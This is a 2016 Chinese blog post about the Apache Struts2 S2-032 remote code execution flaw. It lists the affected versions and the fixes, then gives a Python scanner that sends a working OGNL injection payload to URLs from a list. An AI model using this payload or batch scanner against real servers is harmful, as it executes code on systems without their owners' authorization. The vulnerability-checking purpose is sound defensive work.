Apache Struts2任意代码执行漏洞(S2-032)检测程序

原创 2016年05月30日 15:31:09

上个月写的一段代码,记录下来以供不时之需。

漏洞概况

2016年4月21日,Struts2官方发布两个安全公告(S2-031,S2-032),其中S2-032(CVE-2016-3081)官方评级为高。Apache Struts 2是世界上最流行的Java Web服务器框架之一。该漏洞的成因是用户开启动态方法调用(Dynamic Method Invocation)的情况下,攻击者能够使用method:前缀执行远程代码。值得一提的是该漏洞是由国内企业安恒信息的员工提交的。

漏洞影响

官方给出的受影响的Struts版本号区间为Struts 2.0.0 - Struts 2.3.28 (2.3.20.2 和 2.3.24.2版本不受影响)。

目前在互联网上已有多个版本的漏洞利用POC在互联网流传,分为命令执行版本与直接写入Web后门的版本。乌云、补天等漏洞报告平台已收到大量网站的相关漏洞报告,其中银行占了很大比例,此漏洞可能会在一段时间内在各行业造成大面积的恶劣影响。

解决方案

Struts官方给出的解决方案是禁用动态方法调用功能,或者升级到Struts 2.3.20.2,2.3.24.2或2.3.28.1。

修改Struts2的配置文件如下:将“struts.enable.DynamicMethodInvocation”的值设置为false,比如:

< constant name="struts.enable.DynamicMethodInvocation" value="false" / >;

2.3.28.1版本Struts下载地址:
https://struts.apache.org/download.cgi#struts23281

上面的文字来自聚锋实验室微信公众号:

扫描关注聚锋实验室

检测程序

import sys,time,os
import requests

def do_check(url):    
    url = url.strip()
    if '?' in url:
        url = url.split('?')[0]
    poc3 = url + "?method:%23_memberAccess%3d%40ognl.OgnlContext+%40DEFAULT_MEMBER_ACCESS%2c%23k%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23k.print(56956116)%2c%23k.close"

    try:
        result = do_request(poc3)
        if "56956116" in result:
            vuls='!!!WARNING Vulnerable url: '+url
            logfilename = os.path.dirname(os.path.realpath(__file__))+"/log.txt"
            logfile = open(logfilename,"a")
            logfile.write(vuls+"\n\r")
            logfile.close()
            print vuls
        else:
            print '...Not vulnerable: '+url
    except Exception,e:
        print e

def do_request(exp,method="GET"):
    response = None
    if method == "GET":
        response = requests.get(exp, timeout=10) 
    return response.content


def main(path):
    print "Checking Struts2 (S2-032) Remote Code Execution..."
    cnt = 0
    if 'http://' in path or 'https://' in path:
        url=path
        do_check(url)
    else:
        urlfile=open(path,'r')
        for url in urlfile:
            if url.strip():
                cnt += 1
                do_check(url)
        urlfile.close()
    output = os.path.dirname(os.path.realpath(__file__))+"/log.txt"
    if os.path.exists(output):
        print "Scanned urls: %d" % cnt
        print "Output File: "+output

if __name__ == '__main__':
    args = sys.argv
    if len(args) != 2:
        print "Usage: %s [url/file]" % args[0]
        exit()
    main(args[1])
版权声明:本文为博主原创文章,未经博主允许不得转载。

Struts2的零配置和REST插件

Struts2的零配置和REST插件 首先在Struts2工程中导入所需的jar包 ezmorph-1.0.3.jar json-lib-2.1-jdk15.jar strut...

Struts2的零配置和REST插件

和朋友共同开发一个小项目中用到了RESTful风格,在这里总结一下。 首先在Struts2工程中导入所需的jar包 ezmorph-1.0.3.jar json-lib-2.1-jdk1...

Struts2 S2 – 032远程代码执行漏洞分析报告

一、漏洞基本信息 CVE编号 CVE-2016-3081 漏洞名称 Struts2 S2 – 032远程代码执行 漏洞发布日期 2016.4.15 受影响的...

Apache Struts2 远程代码执行漏洞(S2-045)技术分析与防护方案

Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号为CNNVD-201703-152。攻击者可以在使用该插件上传文件时,修改HTTP请求头...

Struts2远程代码执行漏洞检测的原理和代码级实现

想必最近很火的Struts2漏洞大家应该有所耳闻吧,如果你没听说也没关系,关于这个漏洞的描述可以用一句话总结:漏洞很普遍,后果很严重。由于JavaEE的应用普遍偏向于使用SSH框架(Spring+St...
  • langkew
  • langkew
  • 2012年08月20日 23:18
  • 3261

Struts2远程代码执行漏洞分析(S2-013)

修补方案出现。 http://struts.apache.org/development/2.x/docs/security-bulletins.html — (公告) 官方安全公告给出了编号和简...

Struts2(s2-016)远程代码执行漏洞详细代码分析

之前winwin已经发过这个漏洞的分析文章,分析的很到位,不过有几个点有些问题,所以我在这里把自己的分析内容发出来,供各位参考。   这个漏洞的数据污染点和触发点,和其他的Struts不一样,所以本篇...

Struts2 S2-016,S2-017远程代码执行漏洞解决,修复

Struts2 S2-016,S2-017远程代码执行漏洞解决,修复 官网描述如下: http://struts.apache.org/release/2.3.x/docs/s2-016.html ...

struts2 的几个远程代码执行漏洞

主要收集自网络 http://zone.wooyun.org/content/3880 来源: http://ahack.iteye.com/blog/1858871 http://aha...
  • zwjhuhu
  • zwjhuhu
  • 2013年06月28日 08:23
  • 595

struts2远程代码执行漏洞简要回顾

apache官方安全公告页面: http://struts.apache.org/development/2.x/docs/security-bulletins.html 其中涉及代码执行的漏...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:Apache Struts2任意代码执行漏洞(S2-032)检测程序
举报原因:
原因补充:

(最多只允许输入30个字)